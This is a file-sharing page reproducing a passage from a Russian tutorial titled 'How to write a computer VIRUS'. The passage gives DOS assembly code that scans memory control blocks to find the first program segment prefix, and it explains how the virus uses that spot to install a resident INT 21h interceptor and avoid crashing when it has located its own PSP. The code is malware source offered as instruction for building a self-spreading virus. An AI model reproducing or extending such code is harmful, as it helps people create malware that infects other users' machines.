Добавил:
Upload Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
Как написать компьютерный ВИРУС.doc
Скачиваний:
4
Добавлен:
30.10.2018
Размер:
1.16 Mб
Скачать

2.4 Реализуем предложенный алгоритм

Как мы договорились,сначала следует найти PSP пер-

вой загруженной в память программы .Это можно сде-

лать следующим образом :

find_psp: push es ;Найдем первый

xor di,di ;PSP в памяти

xor ax,ax

to_new_seg:inc ax

mov es,ax

cmp ax,0ffffh ;Этот сегмент -

jae free_mem ;последний ?

cmp byte ptr es:[di],4dh

;Это - MCB -

;блок ?

jne to_new_seg ;Нет !

to_test: mov bx,ax ;Да !

add bx,es:[di+3]

inc bx

mov es,bx

cmp byte ptr es:[di],4dh

;Следующий MCB

;корректен ?

je restore_es ;Да !

cmp byte ptr es:[di],5ah

jne to_new_seg ;Нет !

restore_es:mov es,ax

cmp word ptr es:[di+1],0 ;MCB свободен ?

je to_new_seg ;Да !

mov bx,es

inc bx

cmp es:[di+1],bx

jne to_new_seg

cmp byte ptr es:[di+10h],0cdh ;После MCB сле-

;дует PSP ?

jne to_new_seg ;Нет - тогда он

;нас не интере-

;сует ...

mov first_psp,es ;Да - найдена

mov cx,es ;нужная нам

dec es_save ;область памяти

cmp es_save,cx ;А может, мы на-

;шли свой же

;PSP ?

jne add_05h ;Нет !

pop es

jmp fresh_input ;Да !

add_05h: add first_psp,05h

Напомним, что PSP располагается в памяти сразу

вслед за MCB - блоком,выделенным операционной сис-

темой для загрузки программы, а первым байтом PSP

должно быть число 0CDh, что и используется в при-

веденном фрагменте .

Дополнительно следует рассмотреть следующую ситуа-

цию : обычно первым PSP в памяти является PSP ко-

мандного процессора COMMAND.COM . Но при некоторых

конфигурациях операционой системы (например, при

использовании WINDOWS 95 в режиме эмуляции MS DOS)

это правило иногда не соблюдается .Может случиться

так, что первой в файле AUTOEXEC.BAT для загрузки

указана нерезидентная EXE - программа, зараженная

нашим вирусом.При старте этой программы вирус фак-

тически отыщет ее же PSP и запишет туда текст про-

межуточного обработчика INT 21h . Далее программа

нерезидентно завершится, после чего занимаемая ею

память будет использована другими программами, по-

этому наш промежуточный обработчик будет затерт ,

и компьютер обязательно повиснет . Чтобы этого не

произошло, вирус проверяет, какой именно PSP был

найден первым, и если имела место описанная выше

ситуация, отказывается от заражения памяти .

В остальном работа фрагмента ясна .